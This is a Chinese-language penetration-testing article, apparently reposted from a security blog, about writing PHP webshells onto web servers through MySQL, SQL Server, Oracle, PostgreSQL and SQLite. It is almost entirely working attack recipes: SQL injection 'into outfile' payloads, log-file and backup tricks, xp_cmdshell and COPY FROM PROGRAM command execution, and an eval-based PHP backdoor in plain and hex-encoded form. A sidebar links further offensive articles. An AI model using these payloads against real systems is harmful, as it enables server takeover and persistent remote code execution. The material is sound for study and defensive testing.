渗透测试:五种数据库写Webshell的方法解读

0收藏

0点赞

浏览量:412

2021-11-01

举报


0x00前言

在渗透测试中,关于数据库的利用一般有以下两种思路:


1.暴力破解登录数据库

2.sql注入获得与数据库交互途径


 webshell是一种以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,又称为网页后门,攻击者可利用其控制整个网站服务器。上传webshell时很关键的一步就是获取web的绝对路径,一般使用以下几种方法获取:

1.通过页面报错信息获取

2.通过读取web配置文件获取

3.cms默认绝对路径

4.通过搜索引擎获取

5.通过旁站目录获取

6.有相应的命令执行权限时还可以通过查找相关文件获取绝对路径,例如:

Windows:

for /r C:\ %i in (favicon.ico) do @echo %i

for %i in (c d e f g h i j k l m n o p q r s t u v w x y z) do @(dir/s/b %i:\favicon.ico)

Linux:

find / -name favicon.ico


0x01Mysql

1.利用outfile写入

利用条件:

1.数据库用户当前权限为root或拥有file权限

select concat(user,'/',file_priv) from mysql.user;

2.有Web目录的绝对路径

3.PHP的GPC参数为OFF状态

4.Mysql的secure_file_priv参数不能为NULL(mysql5.7版本以上默认为NULL)

show variables like "%secure_file_priv%";

利用过程:

1.union select 写入

确定注入点

union select "<?php @eval($_POST['hacker']); ?>" into outfile"C:\\webtest\\test2.php"#

union select 0x203c3f70687020406576616c28245f504f53545b2767275d293b3f3e into outfile"C:\\webtest\\test2.php"#

2.基于分隔符写入

limit0,1 into outfile "C:\\webtest\\test4.php" lines terminated by 0x203c3f70687020406576616c28245f504f53545b2767275d293b3f3e#

lines terminated 还可以更换为以下语句

fields terminated by

columns terminated by

lines starting by

 2.基于general_log日志写入

利用条件:

1.数据库用户当前权限为root或file权限

2.有Web目录的绝对路径

3.PHP的GPC参数为OFF状态

4.开启全局日志

show variables like "%general%";

利用过程:

set global log_output="FILE";

set global general_log_file="C:\\webtest\\test5.php";

set global general_log=on;

select "webshell";

3.基于slow_query_log日志写入

利用条件:

1.数据库用户当前权限为root或file权限

2.有Web目录的绝对路径

3.PHP的GPC参数为OFF状态

4.开启慢查询日志

show variables like'%slow%';

MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句。

long_query_time的默认值为10,意思是运行10S以上的语句

利用过程:

set GLOBAL slow_query_log=on;

set GLOBAL slow_query_log_file='C:\\webtest\\test6.php';

set GLOBAL log_queries_not_using_indexes=on;

select "<?php @eval($_POST['hacker']); ?>" from mysql.db where sleep(10);



0x02Sqlserver


1.利用xp_cmdshell命令

利用条件:

1.有相应的db_owner权限

select is_srvrolemember('sysadmin');

select is_member('db_owner');

select is_srvrolemember('public');

2.有Web目录的绝对路径

利用过程:

EXEC sp_configure 'show advanced options',1;

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;

RECONFIGURE;

EXEC master..xp_cmdshell "echo ^<?php @eval($_POST['a']);?^> > C:\\webtest\\test6.php";

sqlserver命令执行

1.xp_cmdshell

EXEC master..xp_cmdshell whoami;

2.SP_OACREATE

sp_configure 'show advanced options', 1;

RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE;

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\\webtest\\test7.txt'

2.利用差异备份写入

利用条件:

1.有相应的db_owner权限

select is_srvrolemember('sysadmin');

select is_member('db_owner');

select is_srvrolemember('public');

2.有Web目录的绝对路径

利用过程:

获取库名

Select Name From Master..SysDataBases Where DbId=(Select Dbid From Master..SysProcesses Where Spid = @@spid);

backup database test8 to disk = 'C:\\webtest\\test8.bak';

CREATE table testbak(cmd image);

insert into testbak (cmd) values(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);

backup database test8 todisk='C:\\webtest\\test8.php' WITH DIFFERENTIAL,FORMAT;

3.利用log备份写入

利用条件:

1.有dbo权限

select is_srvrolemember('sysadmin');

select is_member('db_owner');

select is_srvrolemember('public');

2.有Web目录的绝对路径

3.至少备份过一次

利用过程:

alter database test8 set recovery full;

CREATE table test9 (cmdi mage);

backup log test8 to disk = 'C:\\webtest\\test9.php' with init;

INSERT into test9 (cmd) values(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);

backup log test8 to disk ='C:\\webtest\\test99.php';



0x03Oracle


使用文件访问包写入

利用条件:

1.有DBA权限

select * from role_sys_privs;

2.有Web目录的绝对路径

利用过程:

/*创建一个ORACLE的目录对象指向web路径*/

create or replace directory IST0_DIR as 'C:\\webtest';

/*把读写权限授予system*/

grant read, write on directory IST0_DIR to system;

declare

isto_file utl_file.file_type;

begin

isto_file := utl_file.fopen('IST0_DIR', 'test10.php', 'W');

utl_file.put_line(isto_file, '<?php @eval($_POST["a"]);?>');

utl_file.fflush(isto_file);

utl_file.fclose(isto_file);

end;

oracle命令执行

工具:oracleshell



0x04Postgresql


1 .利用CVE-2019-9193高权限命令执行写入

 CVE-2019-9193:在 PostgreSQL 9.3 到 11.2 中,“COPY TO/FROM PROGRAM”功能允许超级用户和 'pg_execute_server_program' 组中的用户在数据库操作系统用户的上下文中执行任意代码,并且此功能默认启用。

利用条件:

1.数据库当前用户为superuser或默认 pg_execute_server_program 角色的数据库用户

2.有Web目录的绝对路径

利用过程:

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'echo ^<?php @eval($_POST["cmd"]);?^> >> C:\\webtest\\test11.php' ;

SELECT * FROM cmd_exec;

postgresql命令执行

当遇到一些命令回显出现编码错误时,可以通过写无回显的bat文件执行命令

2.利用copy写入

利用条件:

1.数据库当前用户为superuser或默认 pg_execute_server_program 角色的数据库用户

2.有Web目录的绝对路径

利用过程:

方式1:

copy (select '<?php @eval($_POST["cmd"]);?>') to 'C:\\webtest\\test12.php';

方式2:

drop table webtest;

create table webtest (t TEXT);

insert into webtest(t) values ('<?php @eval($_POST["cmd"]);?>');

select * from webtest;

copy webtest(t) to 'C:\\webtest\\test13.php';

drop table webtest;




0x05SQLite


利用附加数据库写入

利用条件:

1.有Web目录的绝对路径

利用过程:

ATTACH DATABASE 'C:\\webtest\\test14.php' AS shell;

create TABLE shell.exp (webshell text);

insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php @eval($_POST["cmd"]);?>\r\n\r\n');

监制:船长、铁子    策划:格纸    文案:Three1    美工:青柠


(来源:我是安服)

(原文链接:https://mp.weixin.qq.com/s/D7CZMo7ceQk0J_DR2Alq0A)

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安&nbsp;Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP